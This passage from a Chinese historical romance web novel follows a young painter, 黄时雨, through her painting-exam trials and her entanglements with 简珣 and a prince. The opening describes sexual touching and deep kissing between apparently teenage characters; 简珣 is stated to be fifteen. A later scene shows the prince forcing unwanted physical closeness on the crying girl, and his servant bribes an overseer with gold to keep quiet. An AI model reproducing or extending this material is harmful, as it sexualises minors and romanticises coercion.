简珣年少火气旺盛,身畔又躺了一个姑娘家,这一晚他睡得并不太好,后半夜就把丝被掀了,方才入睡。 光线穿透窗子和层层稀薄的帷幔,照进了拔步床。 黄时雨坐在床里侧发怔,一眨不眨盯着简珣。 简珣似乎有所感应,缓缓睁开眼睫,顺着梅娘的视线看去,看见了每天清晨都会出现的状况,就这样摊开在了她眼底。 少年的脸飞上薄红。 简珣沙哑道:“我劝你最好别细究。” 他扯过丝被盖上。 黄时雨缩进被窝,一声也不敢吭。 简珣偏头看向她,面无表情道:“现在轮到我了,你也得让我看一眼。” 于是他钻进她的被窝,黄时雨哪里肯依,又踢又打,“你又不是没穿,凭什么掀我的,你敢欺负我试试,这辈子都别想……” 他把她的手放在了她观察许久的地方。 黄时雨瞳孔蓦地放大。 简珣又发出了那种低哑的闷哼,脸越垂越低,深深埋在她颈窝。 于是,黄时雨和简珣有了第二个共同的秘密。 画师的好奇心原本就远胜常人,而黄时雨恰好在成长的某一天,好奇心达到顶峰。 果然做画师的没几个正常人。 简珣眼底蓄满羞耻,薄红从脸颊蔓延至脖颈,却一言不发。 黄时雨由衷感叹女娲造物之神奇,简珣长得真奇怪,竟与她的完全不一样,却又直觉本该如此。 这具身体不同于女孩子,充满了力量与薄薄的肌肉线条,她用一双画师的眼睛,由衷地赞美。 简珣平静地拉上衣裤,低声道:“给我看看,轮到我了。” 黄时雨不愿意,说什么也不许他看。 天下间怎会有这样的朋友,连身体都给看。黄时雨隐隐察觉到了什么,又不敢细思。 天光大亮,简珣从袖中翻出一方斑斑血迹的白绫帕子,扔在床尾。 黄时雨低呼道:“你受伤了?” 简珣眼角微挑,“这是你的。” “我没受伤。” “我知道,但你得假装是你的,不要在曹妈妈跟前露馅。” 简珣没有解释为什么,黄时雨闷闷然记下。 曹妈妈当然不会直接问黄时雨什么,但简珣得让她心里有这是她的血的意识。 黄时雨注意到收拾床铺的丫鬟特特卷起了这方血帕,转交予曹妈妈。 曹妈妈面露欣喜。 初六就要分别,初五的晚上简珣搂着黄时雨,“凭什么你想看我就得给你看,还给你摸了。” “是你自愿的,也是你拿着我的手。” “那你让我亲一下好不好,我不看了。” “休想。”黄时雨推开他。 两人你推我搡,她抱着枕头,而他抱着她,在黑暗中瞎折腾,也不知简珣是如何瞄准的,两人的唇就贴在了一起。 黄时雨浑身汗毛倒立。 简珣宛若品尝世上最甜蜜的果实,轻轻摩挲着,舔舐着,又吮又咬,撩起了异样的酥麻,黄时雨慌乱不已,用力捶他。 他猛然趁虚而入,在她口中翻寻,与她深深地纠缠。 他教会了她一件男女之间做起来极舒服的事,与思渊给予的体验完全不同。 简珣发誓不会说出去,还得寸进尺道:“我们以后经常这样好不好,我好喜欢,你也很舒服对吗……” 说完又俯身噙住她樱桃般的小嘴巴,竭尽全力取悦她。 黄时雨如梦初醒。 她与他,根本就不像正常的朋友。 简珣以为有了这么多秘密,往后的关系也就十拿九稳,不意再睁开眼身畔空空。 他甚少睡得这般香沉,竟连她起身也未察觉。 初六那日,梅娘不告而别。 简夫人对黄时雨说过许多的话,黄时雨很清楚自己与简珣的未来,也从不会多想,毕竟她有自己的画道,而他有无边富贵、正妻鸢娘、通房蕊珠,以后还会有很多女人,因为宣道坊简府这一脉只剩下他。 他必须开枝散叶,妻妾儿孙满堂。 简珣从一开始就没把她当成朋友,而是自己的女人。 从他坦言有心爱之人却也会对她好开始,就在布一个局,一个驯服她乖乖接受与他生活的局,与他的女人们和平共处。 他的多情恰似温水煮青蛙。 一个温柔的坏郎君。 五天两夜的极奢生活,几乎就要俘虏了一个涉世未深的女孩道心,引她沉湎享受,可他情难自抑的吻又唤醒了她。 不论简珣还是思渊,本质都一样。 黄时雨宛若怒海行舟,他们是丰饶的岛屿,无时无刻不吸引疲惫的她停靠,那里的温暖港湾将庇佑她余生,可是停靠的代价太沉重,或许再也无法离开。 立冬前的清晨凉意习习,琥珀服侍黄时雨多穿了一件褙子,方娘子送二人来到醴泉坊,琥珀给了她不少赏钱,两厢各自欢喜辞别。 这次比上回热闹许多,大部分考生身边或多或少都有家人相送,仆从抬箱笼,只有黄时雨仅带着个丫鬟挎着两只包裹,显得有些格格不入。 简珣在坊角站了半个时辰,福生道:“黄二小姐早就进去了,多半已经分配好舍馆,您在这里也帮不上什么,不若先回去吧……” 简珣转过身,沉默地迈步离开。 福喜拔腿追过去。 负责女考生的依旧是袁大人。 今年女考生之稀少前所未见,加上黄时雨拢共也只有五个。 原本应该三人一间舍馆,而今一个人住一间还剩下十来间空置。 但不管空置房间有多少,每名考生也只能分到一间。 画署没按规制分配三人挤一处已经属于法外开恩。 观五名女考生,一个比一个细皮嫩肉,除了泽禾黄时雨,另外四名都是当地州府的大户人家,能不能撑过三十日都难说。 袁大人唏嘘不已,自己走上这条路不可谓不幸运,如今的女孩子可就难咯。 长达三个月的严格试炼,只有通过这一关,方才算一个合格的画署考生,拿到考试资格。 按往年惯例,最后留下的至多不超三百。 大部分的人都在日复一日敲石头中灰心丧意,失去斗志。 黄时雨领了舍馆钥匙拜谢袁大人便匆匆离去。 另四名同案却还在与袁大人扯皮,极力要求再给她们多加一间舍馆。 地方实在狭小,一个人都不够,又如何安置她们的贴身丫鬟。 她们有自己的道理,舍馆本就是为了住人,又不是没有,既然有闲置的,缘何不能通融?实在不行,她们可以交钱。 袁大人收回笑意,一字一句道:“能住就住,不能住就走。” 娇生惯养的小姐们感觉天都要塌了。 黄时雨和琥珀对此见怪不怪,房间虽小,却被分隔成好几间,该有的都有,两个人挤着点完全住得下。 况且马上入冬,房间大反倒空阔寒凉,对身体不好。 邻舍的姑娘气咻咻质问黄时雨是不是木头,缘何对这种不公一句话都不吱声。 黄时雨揣着手,“我人微言轻,说了也改变不了什么。” “所以你也觉得现在的分配有问题对吧?” “是的,又挤又小,住的难受,但为了考试也只能忍一忍。” 那姑娘听闻黄时雨的想法与大家一样,火气顿时消了五分,只横了一眼,叉腰离开。 姑娘心道这是个胆小怕事的,不过想法既然与大家一致,那就勉强算一路人。 姑且放过了黄时雨。 这一日,大部分人都乱糟糟的,甚至有不下二百人当场退出,打道回府。 袁大人笑呵呵,这才到哪儿,后面还得退更多。 留下来的人,女考生倒还好,至少能留个丫鬟在舍馆洗衣打扫房间,男考生不仅没有贴身仆从还要三个人挤一间舍馆,个中心酸不提也罢。 当晚就有一名管事娘子携带五六名仆婢来到舍馆所在的大院子站定。 管事娘子吩咐丫鬟逐个敲门,唤出舍馆考生,序齿排列,统一分发衣裳鞋袜。 每人三套厚衣,三套薄棉衣,等再冷一些还会发三套厚棉衣。 原来考生在试炼的三个月不得穿自己的行头,怨不得袁大人的丫鬟提醒带足换洗衣物即可。 这里的换洗衣物指的自然是私人小衣里衣。 画署分派的衣裳既保暖又结实,里子用的细棉布,穿起来分外安适,放在普通百姓眼里绝对算顶好的东西,邻舍的姑娘却怒目圆睁,忍了忍,到底还是不情不愿接受了。 因为画署的人与外面不同,管你什么家世背景给多少银两,也买不到他们的特殊相待,反倒白白挨两记白眼。 管事模样的娘子冷笑:“想必留下来的人自该清楚,从这一刻起就要谨守画署的规矩,不能守的早已原路返回,有后悔的现在走也不迟。” “即日起,凡仆婢不得出入舍馆以外的地方,会有专人按时运送伙食,请诸位自行领取,如非必要不得擅离醴泉坊。考生则每日随我前去设色场做工,管一日三餐,月底发月钱,非急事不得告假。”她朗声宣布。 众位娇小姐花容失色,怀疑自己的耳朵听错了,做工? 她们长这么大就没做过工。 听这意思还不能带上仆婢。 画署这是招考生还是招廉价短工? 小姐们将管事娘子团团围住,愤愤不平。 红衣裙的姑娘叉腰,“我们又不是没有奴婢,凭何强制我们亲手劳作?” 白衣裙的姑娘附和,“这个规矩的意义在哪儿,画署是缺雇佣苦工的银子,还是单纯折磨我们玩乐。” 粉衣裙的姑娘抹泪,“大家走画道,哪一个不争夺寸许光阴磨炼技艺,你们却让我们耽搁本职要事,做起设色场的苦工,天下竟有这样不讲道理的规矩。” 只有黄时雨和另一个粉蓝衣裙的姑娘缄口不言。 管事娘子怒斥一声,将小丫头片子们镇住,才沉声道:“谁告诉你们画署必须讲道理的!今儿我就与你们说明白,这里从不讲道理,却也是最讲道理的,不服之人大可一走了之,请问诸位,谁要走?距离落锁还剩一刻钟,再不走,可就只能等明日!” 此言一出,周遭陷入了死一般的凝滞,沉寂无声。 诸位小姐面色难堪,哑口无言。 已经走至这一步,谁肯甘心离开。 管事娘子冷笑一声,拂袖扬长离开了大院子。 众小姐面面相觑。 粉衣裙的姑娘犹自垂泪。 白衣裙的姑娘于心不忍,上前安慰粉衣裙。 红衣裙的脾气暴躁,骂一句“哭什么哭真晦气”,叉腰回房。 黄时雨不知在想什么,一直盯着面前的树干出神。 “你长得真好看。”粉蓝衣裙对发呆的黄时雨道,笑颜真诚。 黄时雨一怔,回了个福礼,“多谢小姐抬爱,你也很漂亮。” 粉蓝衣裙姑娘道:“我叫蓝素,潼水人士。” 黄时雨依礼也自报了家门,二人初步相识。 次日立冬,设色场的公厨为大家准备了热气腾腾的水饺,南北两种口味,因为水饺的外形酷似耳朵,吃热水饺寓意再冷的天耳朵都不会挨冻。 黄时雨尝了一口,挺好吃的。 昨日那位红衣裙的暴脾气姑娘却难过道:“缘何把水饺包这么大一只,又烫又蠢笨。” 这位姑娘姓姜,姜姑娘的脾气不太好,黄时雨轻易不会寻她说话,也就无法告诉她,正常人家的水饺都这么大。 蓝姑娘似乎也吃不惯,想来亦是个出身优渥没吃过苦的,但是蓝姑娘硬着头皮吃,从头到尾没有一句抱怨。 姜姑娘鄙夷地觑着黄时雨,“你怎么这么能吃?” 黄时雨咽下食物,轻言细语道:“现在多吃点等会才有力气干活,你也吃两个吧,肚子饿的时候特别难受。” 她这话提醒了众位娇滴滴的小姐,这趟是来干活的,真正意义上的做工。 于是,一股难言的哀愁弥漫开来。 好汉不吃眼前亏,其他三个姑娘硬着头皮开吃,只有姜姑娘依然不为所动,甚至把自己的水饺推给黄时雨,“能吃你都吃了吧。” 黄时雨吃不了这么多,便摇了摇头。 姜姑娘嗤笑一声。 除了水饺,公厨还给每个人发了两只小儿拳头大小的山药红枣糕暖胃。 糕点的材料普通,味道也普通,样子稍许难看,这些也就罢了,红枣竟是未去核的,气得姜姑娘咬了一口便扔掉。 其他三位姑娘也吃不下,丢在盘子里,只有黄时雨用帕子将自己的两只裹起来,收进袖袋。 设色场便是萃取各种水墨颜料的场所,包括群青与青绿,但这两种颜色涉及昂贵的宝石——孔雀与青金,非特殊工匠根本接触不到。 考生们所能接触的唯有寻常矿石颜料。 再寻常黄时雨也感到知足。 这哪里是做苦工,分明是老天爷赏机缘! 只要学会萃取颜色,将来就不用花钱买! 节省花费其次,更重要的是她的颜色或许就能像她的画一样,有自己的想法,而不被市面所框架。 黄时雨老老实实聆听老匠人的讲解,不时再问几个问题,甚至掏出炭笔认真记录,惹得姜姑娘嘲笑不迭。 老匠人将设色场的大致情况与分派给各位的活计一一交代,收工前做不完就记一笔,记到第五笔,只能请君另谋高就,哪里来的回哪里去。 这下姜姑娘笑不出了,散漫傲气的神情渐渐紧张。 没有人怀疑“卷铺盖走人”的分量。 画署赶人相当的利索。 原来萃取颜料的第一步是敲碎矿石。 毫无技艺可言,枯燥且又损耗体力,似乎什么也学不到。 黄时雨有点失望,不过还是乖巧地走到分派自己的草棚子下,擦了擦圆杌子坐下,认命地拾起锤子,好重啊。 她都觉得重,更何况另外四名真正的千金小姐。 敲着敲着,她们相继哭了起来,连姜姑娘也哭了。 大家相隔不足三十来步,不远不近的,声音一大自然听得也清楚。 黄时雨听着此起彼伏的哭声,一下一下敲着石头。 大家难过了一会发现哭泣于事无补,不会有人心疼她们,更不会有人来帮忙,反倒面临完不成任务记过的风险,于是纷纷举起锤子,认命敲起来。 一只手拎不动,那就两只手轮起来。 敲了一个时辰,娇小姐们已经发髻凌乱,香汗淋漓。 黄时雨也累,不得不停下喘息,柔嫩的掌心火辣辣刺痛。 姜姑娘眼冒金星,又累又饿,有气无力地歪倒。 忽然想起早膳的水饺,似乎也没那么难吃,倘若当时吃两个也不至于变成现在这般,周身发虚,胃里灼烧。 她小声啜泣,一股香甜的味道就钻进了鼻腔,竟是一包小点心,隔壁姓黄的姑娘递来的。 姜姑娘一张小脸沾满灰,东一块西一块,已经辨不出原本的模样,她怔怔瞅着黄时雨,咽了下口水。 “我还没动过,你吃吧。”黄时雨将山药糕放在她手心,回到自己的位置继续敲石头。 姜姑娘嘴唇动了动,垂下脸,轻咬一口糯糯的点心,泪珠儿也骨碌滚落下来。 日暮时分,五个姑娘无一不是乱糟糟的头发花猫儿一般的脸,要多狼狈就有多狼狈。 她们踉踉跄跄来到井水边取水,草草擦洗手脸。 老匠人来检查分派的活计,发现只有三个人勉强完成,黄时雨、蓝素、姜意凝。 有人完成倒也不意外,意外的是姜意凝姜姑娘居然完成了…… 晚膳特别家常,清粥小菜鲜肉包,干净管饱,其余的不保证。 姜意凝端起碗狼吞虎咽。 因为上午饿狠了,午膳反倒吃不了太多,捱到晚膳已是饥不择食,给啥吃啥。 昨天还生龙活虎的五个姑娘,回去的路上一个比一个蔫吧,都想尽快爬上马车瘫倒,黄时雨也不例外。 不意还没摸到车围子边边。 “黄姑娘,过来。”管事娘子忽然叫住了她。 啊? 黄时雨的小脸比苦瓜还苦,“请问程管事还有何吩咐?” 程管事打量她的目光复杂难辨,“有人找你。” 黄时雨一脸茫然,顺着程管事所指的方向,设色场的红檐亭下亮着七八盏灯笼,杂花影下,光色朦胧,一个熟悉的高大身影正朝她阔步走来。 她霎时慌了,左顾右盼,除了程管事所有人都在车上,断然瞧不见什么,但若任由这个人走过来,转过面前的曲廊,那麻烦可就大了。 当下她也顾不得程管事如何揣度自己,急忙迎过去,堵住了韩意淮的去路。 好险,再多走两步就要踏出曲廊。 韩意淮将羊角灯在她脸前晃了晃,“咦,你怎么脏兮兮的。” 他的眼睛亮晶晶的,笑意热情又温柔。 第48章 亲昵 黄时雨归心似箭,又拿不准肃王殿下的意图,干脆直接问:“殿下,您找我何事?” “唔,我站在这里赏月亮,然后又发现你,不能找吗?”韩意淮撩起一双漂亮的眼睛。 黄时雨“啊”了一声,他好像回答了又好像没回答。 韩意淮坦然自若牵起她的手,“小木头。” 黄时雨吃痛低呼。 怎么? 韩意淮诧异,举灯照照掌心的尖尖玉手,嚯,好大的血泡,还不止一颗! 闻遇竟连女孩子也不放过,全部丢进石头堆。 韩意淮道:“别动,我瞧瞧。” 黄时雨不仅动还用另一只手推他,“好痛,不许碰!” “不碰不碰。”韩意淮学着她的语气说话。 黄时雨咬唇,怒目而视却也只能瞧见他的下颌线。 韩意淮淡淡道:“向程管事打声招呼,黄姑娘先交给我,我知道规矩。” 侍从领命,于夜色下对程管事低语几句。 程管事复杂的面色逐渐转为了然,朝黄时雨的方向睃了一眼,便不再管她的哀求,漠然转身登上马车,无情驶离。 黄时雨傻眼了,拔腿就要去追,“我要回醴泉坊!你怎能赶走程管事,我回不去了!” 韩意淮一臂揽住她,放柔了声音,“怎会回不去,自然是我送你,你在怕什么?” 黄时雨噙着泪一愣。 “你,真的会送我回去吗?” “嗯。” 黄时雨踌躇不前。 韩意淮问:“是不是怕同案瞧见我?” 她眸光怯怯,答案显然是的。 韩意淮心底沮丧,强笑道:“那我不让她们瞧见不就好了。” 黄时雨还能怎么着,今天若不点个头,怕是回不去的。 韩意淮似乎不记得先前表白心迹被拒的尴尬与愤怒,上了车,接过侍从递来的药瓶,垂眸打量黄时雨泛红的手心,仔细为她涂药。 黄时雨一眨不眨盯着他。 肃王殿下应是没服侍过人,手法生疏,令人心惊肉跳。 侍从隔窗递来一盒银针。 黄时雨夺手惊呼,“你干嘛!” “挑水泡,不疼。”韩意淮拧眉看她,“难道你还想一手的水泡继续做工?” 一句话就提醒了黄时雨该有的常识,她果然安静下来。 两个本该分道扬镳的人,如今却坐在一处挑水泡。 肃王不仅挑水泡,还亲自为她涂上厚厚的药膏,再用帕子包扎打了一个结。 黄时雨坐立难安。 韩意淮笑看她,抬手扯开锦帘,偏了偏头,“我没骗你,是回醴泉坊的路。” 黑灯瞎火的,黄时雨哪里认识路,看不看都没差,不过听他如是说,心就稍稍放宽,趁他不备缩回手,别在身后。 肃王殿下心里恼,却更清楚无论羞恼还是冷漠,这个姑娘都不会逢迎他,只会按部就班过好自己的日子。 一旦他不低头,就再也遇不到她了。 “小木头,你怎么一点也不想我?”韩意淮失落道。 “?”黄时雨满眼疑惑。 距离上次不欢而散已经过去十九日。 整整十九日! 好歹抱抱他诉相思,或者抱着听他诉也行…… 这样想着,他就把花容失色的黄时雨抱在腿上,热乎乎软软的,他好喜欢,不禁亲了亲,“我想通了,以后不跟你置气,就算你是呆木头,我也不生你的气了。” 可她像条落岸的鱼,扭动翻腾。 黄时雨哭道:“你再欺负我,我便告诉我阿爹,他会告你的。” 害怕的时候想到的竟也只有阿爹。 韩意淮唯恐她翻下摔了,一阵手忙脚乱总算箍紧了她,轻声安慰着,寻找她的唇,却听见了一声比一声大的啜泣。 小木头柔软的青丝还沾着草屑,委屈的脸上挂满泪痕,简珣就不会让她这样难过吧,韩意淮如此想着,霸道的手臂就缓缓松开。 黄时雨缩到了角落,眈眈瞪着他。 韩意淮手足无措,也怔怔凝看日思夜想却又惹哭的女孩。 心里乱,下意识就呵斥:“不许哭。” 说完连自己也吓了一跳。 韩意淮哑然面对吓得噤声的黄时雨。 不是故意的。 “我,我不欺负你了。”他的声音虚弱极了,“其实我也不是很想亲,你看看你,脏兮兮……” 他言不由衷一通胡扯,忽然觉得闭上嘴可能就不会更糟的。 韩意淮闭嘴,默默望着小木头。 四目相抵。 灯影绰绰,车围子映着他与她的倒影。 像是一只小兽与猛虎。 这是一场不平等的对峙。 是猛虎一个人的爱情博弈。 韩意淮自知理亏,眼睛里映着她,心里就止不住柔软,小声道:“我错了还不行,要不你打我吧,恕你无罪,我保证不还手。” 他拉着她的小拳头放在胸口。 黄时雨喊疼,他立刻松手。 失了智才去打他,黄家人一共有几颗脑袋。 她捂着自己的右手。 “那我告诉你个好消息,可就不准再生我的气。”韩意淮将黄时雨拉至身畔,倒了杯茶放在她左手,“喝吧,我知道你渴了。” 她看上去很疲惫,定是累坏了,还被他连欺负带吓唬。 韩意淮知道自己是个坏小子。 可他也是头一回追求姑娘家,难免笨手笨脚的。 黄时雨捧着杯盏,犹疑不定。 韩意淮移开视线,一门心思与她说话:“此番画考可不仅仅是朝廷采选画员,也关系到闻家,他们家历任家主都会收一个关门弟子,懂我意思吗,家主收徒,千载难逢的机遇!” 若非他只能跪列祖列宗、母后、皇兄,他都想拜了。 黄时雨莹白的小耳朵微动,诧异抬眸。 韩意淮终于吸引到姑娘家的关注,雀跃不已,“那先说好了,回去你就准备一副墨宝,我来把关,只要有五分水准,我一定帮你谋个名额,成不成就看你自己造化咯。” 黄时雨心动不已,脑子却益发清醒。 “不必了,我没有那种运气。”她细语婉拒。 不是不想,反倒想疯了。 然而美味的饵料岂能白吃。 吃了饵料肃王就会吃她。 无媒苟合,婚前失贞,必将辱及姐妹清誉,那她怎对得起家门,阿爹定会打死她的,倘若嫁人,未来的夫君也不会放过她。 韩意淮低低道:“这么好的机会,就算不行也要试试。” 万一成了,他与她的未来就有无数可能。 可她一再婉拒。 韩意淮静默片刻,豁然意识到黄时雨的顾虑,脸颊当即火烧似的蹿红。 他口干舌燥,急切辩解:“你在胡思乱想什么,本王哪有这么卑鄙!再说,你也没多好看,王府有的是比你漂亮的姑娘!你,你真是狗咬吕洞宾不识好人心!” “你若扶不起,我也不会帮你,可一旦真有天赋,为何不让眼高于顶的闻遇瞧一瞧?我想让有天赋的人被瞧见,有什么错,你怎么可以这样想我。” 肃王殿下黯然神伤。 虽然他总是打她的坏主意,却比任何人都希望闻遇收她为徒,不意竟被她想得如此不堪。 心口酸酸的痛。 肃王眼睛湿漉漉的,宛若一只伤心的小狗。 但他劣迹斑斑,黄时雨并不敢贸然凑上前,“是我一时小人之心,这件事我已知悉自会努力争取,尽人事听天命,殿下不必再为我操心。” 说完,垂眸饮啜茶水。 韩意淮等她喝完了才道:“那如果让陆宴把关,你,是不是就愿意了?” 黄时雨动摇,却也不傻,“陆宴怎会有空指点名不见经传的小人物,殿下莫要因此以权迫人,用特权求来的都不是本心本意,只会让人益发轻视我。” 韩意淮用目光描着她眉眼,“我明白,但陆宴不一样。” 哪里不一样?黄时雨抬眸看他。 韩意淮也在看她,忽然笑道:“那你喜欢陆宴吗?” 黄时雨如实回:“他是一位值得钦慕的画师。” 韩意淮的脸就红了,“陆宴也钦慕你。” 他从未像今日这般开心,马车一停,就率先下去,抱着困惑的小木头转了一圈,才小心放下。 “梅娘,真正有天赋的人就该想方设法让人看见,而不是为一点莫须有的自尊逞强。闻韵致先生当年也在江南四处自荐,最后幸得端亲王慧眼识珠,才有现在的传世佳作。” “假若你是一颗明珠,埋在土里,谁也不会发现你,只有贵人将你高高捧起,世人才知你光芒夺目。贵人就是为明珠而生的,我愿意做你的贵人。” “绘画是公事,我不会利用公事欺负你。” “我等你的墨宝。”韩意淮将药瓶和灯笼一并塞给黄时雨,“我母后姓陆,最爱闻韵致的《海晏河清图》。” 黄时雨愣在原地。 程管事在角门等待良久,觑见肃王抱着黄时雨转圈一幕,心头巨颤。 不过颤归颤,想在画署把日子过好,首先就得把嘴捂严实。 金鹤将一锭沉甸甸的银子按在她手心,“我家殿下年少情切,黄姑娘年纪也还小,此事不宜宣扬,以后就劳烦程管事多多看顾一二。” 程管事欠了欠身,“我明白。” 银子好沉,一只手握不住。 金鹤满意地笑了,意味深长拍拍她肩膀。 程管事愕然,低头一瞧,原来那沉甸甸的不是银子,竟是一枚硕大的金元宝。 当下身形微晃,呼吸急促。 黄时雨提着灯笼回到舍馆,程管事亲自为她开了角门,几番欲言又止,忽然道:“此事一旦泄露我也帮不了你,下回不要这么晚见面。” 贵人与女画师的风流韵事自来屡见不鲜,光本朝已有两名先例,第一例便是当今皇上的宠妃德妃,第二例被女人的妒火与男人的觊觎炼化成疯子投了井,不知道黄姑娘会是哪一例。 黄时雨脚步微顿,柔声细语道:“多谢管事提点。” 程管事勾了勾唇角,“你理解就好。” “不过我与肃王并非管事所想的那样。”夜幕繁星下,光影渺渺,烛光在女孩坚毅的脸庞摇曳,只听她说,“我来这里不是为接近贵人谋取好亲事,画道,我心匪石不可转也。” 程管事觉得自己听不懂女孩的话,但大为震撼。 肃王的掌心,谁站上去都不想再跌下。 而一旦产生“不想”的念头,势必萌生诸多怨恨嗔痴。 于道心无益。 黄时雨是一个视道心如生命的姑娘,认定许多事急不来也急不得,画道的每一步就该按部就班走过去,完成试炼、考进画署,站到画员的位置,再谈拜师。 肃王的好意,她不会也不能领。 姜意凝的丫鬟站在廊下终于等到黄姑娘,立刻回房,没多会儿又走了出来,轻轻敲敲黄时雨舍馆的门。 琥珀正在服侍黄时雨洗脸,闻声开门。 姜家的丫鬟满脸甜笑递上药膏,“这是我家小姐的心意,上好的活血化瘀生肌膏,希望能帮得上黄小姐。” 今日遭此一难,就没有手上不起泡的姑娘,姜意凝送药恰如白日饿晕之际黄时雨送山药糕。 这个坏脾气的姑娘倒是个性情中人。 黄时雨从善如流收下,并请丫鬟转达谢意。 丫鬟应是,福身辞别。 琥珀瞅瞅姜姑娘的药膏,再瞅瞅二小姐带回来的,闻了闻,“二小姐,你这瓶味道真好闻,全无草药气息,如同姑娘家的香露。” 黄时雨勉强笑了笑。 琥珀目光便锁在二小姐包扎的手帕上,雾蓝色,边角绣着精致的忍冬花纹,一看便是少年郎的。 心下不由一个踉跄,直觉不是姑爷的。 琥珀捺下忧虑,照旧服侍二小姐洗脸洗头。 就寝前,黄时雨忽然叫住她,“琥珀姐姐,那条帕子,帮我处理了吧。” 琥珀点点头,“是。” “是肃王殿下,思渊公子便是肃王。” 琥珀猛然顿住,眼底闪过惊异惶恐。 黄时雨放下帐子,闷声道:“早点休息吧,我先睡了。” 肃王的药膏立竿见影,黄时雨的手几乎没受太大的罪,次日醒来已好大半。 她前脚登上马车,福生后脚就来了。 画署并不禁止探望,不过得先禀明袁大人,领了对牌在舍馆大院的正门口相见。 琥珀匆匆赶来,福生背着个大包裹乐颠颠迎上,“琥珀姐姐,这是少爷给二小姐备下的,有一些应急药膏药丸还有一匣子零嘴。绿绸包里的是绣娘新做的夹袄,翻毛皮里子,可暖和了。” 这哪里是二小姐的夫君,简直是二小姐的爹。 琥珀都有点感动了,二人互通有无,简单了解一下对方主子的近况,方才作别。 转过身,琥珀慢腾腾返回,莫名产生一种偷感,心脏也随之高高悬起。 千万不能让简少爷知悉肃王的存在。 第二次上工,姑娘们已然全副武装,各个戴着手衣面衣。 马车颠簸,显然驶进了设色场。 姜意凝倚着车围子骂道,“昨儿竟没有一个人提醒咱们做好防护,真不是东西。” 明明可以让大家少受些罪,却偏偏不管不问。 五个姑娘陷入沉默。 程管事唇角微勾,坐在自己的专属车厢里。 说是年纪小,仔细算起来每一个都已及笄,既然及笄那就算大人,大人自该对自己的一言一行负责。 姜意凝不就是个例子。 不吃昨日的苦,又怎会珍惜公厨今日的膳食。 程管事打量她午膳吃的比黄时雨还多。 负责派活的老匠人明显削减了任务量,不减的话包括黄时雨在内,怕是都完不成。 即便缠了棉布条戴上手衣,抡锤子的手也会发抖。 又痛又累。 午休时,姑娘们围坐闲聊,蓝素问黄时雨,“昨儿怎不见你上车?” 黄时雨随口道:“程管事找我问话,我便搭她的车回舍馆。” 众人了然。 姜意凝恨的牙痒痒,“她问你什么?” “问分派的活合不合理,我照实回答,想来她也察觉了不易,咱们方才能在此间休息。” 有道理,算她还有点良心。 众姑娘长吁短叹。 黄时雨盯着地上的枯叶发呆。 美人连发呆都别样动人。 大家不由自主觑向黄时雨,其实分到舍馆那日就在关注她,甚至有男考生四处托关系打探她。 关注她的人或多或少都清楚。 这些事,黄时雨一概不知。 蓝素笑了笑,用手指戳着地上的枯叶,一下一下,昨晚走在最后的她,全都瞧见了。 半明半昧的烛光下,肌肤莹白如玉的美少年亲昵地拥着黄时雨,一会儿低语一会儿牵手。 自由出入设色场的贵公子,连程管事都帮忙打掩护,得是何等身份。 黄姑娘既有美色狩猎郎君,又何故来此与大家竞争有限的位置,难不成已经被贵人内定了…… 蓝素抬眸婉笑:“黄姑娘,你是我见过的最漂亮的女孩子,想必家中门槛已被媒人踏破,敢问婚事可有眉目了?你们不要害羞,我先自报家门,阿爹为着我的画道已经推拒了两门亲事。” 蓝素的阿爹对她真好。黄时雨看着她,扯了扯嘴角,“没有,我没有。” 没有人知晓她做过贵妾。 更不会知晓考不上画署她就得回家继续做贵妾。 单纯娇贵的女孩子绝对想不到她已经被两个少年郎亲亵过,并且还在纠缠不清。 黄时雨明白自己与她们不一样。 她们清白,单纯,高贵,而她撒谎成性,还不干不净。 第49章 欺负 为了陪伴梅娘,简珣的学业由泽禾鹿锦书院暂时移入京师国子监四门学,这在大康称为游学。 游学顾名思义,在外地游历的同时进行学业研习,其中游历为手段,研习才是最终目的。 这种新颖的求学方式仅在朝廷的重点书院之间流行,故而也就不是谁想游就能游的。 游学首要条件各门功课皆为优等甲等,功课达到资格即可请示山长,由山长评估一番,认为学子没问题再进行下一步,写举荐信,总之,每一步皆需要请示评估,最后还需专人核实。 因而拿到正规书院山长举荐信的学子,绝对是书院中流砥柱的人物,不可小觑。 初八那日,简珣便是持华山长的举荐信获得了国子监四门学资格。 四门学鱼龙混杂,这里的混杂指的是社会阶层,而不是品行。 毕竟是天子学府,进学前哪一个不经历严格的背景调查,上下三代绝对清清白白。 此间不仅有京官子弟、外官子弟、乡绅富户更有豪商巨贾,亦不乏平民小户。 因为级别高的官宦子弟皆集中在国子学,略低些的也往太学跑,导致留在四门学的门第往往极低。 倒也有几个御史家的,偏不去太学,就爱在四门学结识五湖四海不同性格的同砚。 众人对此见怪不怪。 御史能有几个正常的,正常的御史必定不正常。 这玩意上骂皇室宗亲,下斗贩夫走卒,人憎鬼厌,却又是朝堂不可或缺的组成,官不大分量高。 所以御史家的孩子在四门学走到哪儿都是风云人物。 如今又来了一位更大的人物——简允璋。 简允璋就读之前,耳报神同砚已将他打探清楚:安国公的亲侄孙,宣道坊简府的主人,已故三甲探花简慎远的嫡长子。 十五岁就拥有一整座府邸,荣华富贵的背后细思极恐。 世间至奢至孤,无外乎如是。 时也命也,众人唏嘘不已。 虽说是游学,但既然来念书那就是同砚。 琅琊简氏,京师无人不知无人不晓,民间甚至有句俚语——简氏看门的狗也能得道。 学子们做梦也没想到自己有生之年能与真正的百年世家子弟坐在一起念书。 如今的简氏家主安国公,年轻时攘外安内,中年辅政鞠躬尽瘁,老年门生故旧遍布朝野,当今皇帝都是他手把手教大的。 据说私下会面,皇帝常常步迎赐座。 自从安国公上了年纪,每逢朝会,皇帝就会命左右以肩舆抬他上殿,偏安国公比耕牛还犟,愣是靠自己双腿面圣,身后跟着一串抬肩舆的小内侍,累得呼哧呼哧。 眼看老师风雨无阻,几十年如一日上朝,皇帝的心也是肉长的,立刻特批安国公例同武官,每五日觐见一次即可。 这份特立独行的恩宠,在京师不是什么秘密。 学子们表面不动声色,暗地里拿眼偷偷觑简允璋,这小子真他娘的俊。 然而世家门阀的子弟看起来跟大家并无分别,都是两只眼睛一张嘴,却又好像很不同,站在人群中的简允璋儒雅持重,宛如书卷所言的“如圭如璋,令闻令望”。 但简允璋骑马射箭蹴鞠样样精通,诗书古籍名句信手拈来,却又不带一丝乌衣子弟的狷狂矜傲,反倒莫名接地气。 同砚仰慕他的学问,前来请教,他也不端着,通常边听张三的问题边解答,又时不时看一眼赵四的答卷,手上还不忘批注,杂沓于前,未尝出错。 实在令人钦佩。 不消三五日,简允璋便渐渐融入新环境,与同砚远疏相宜,得体周全。 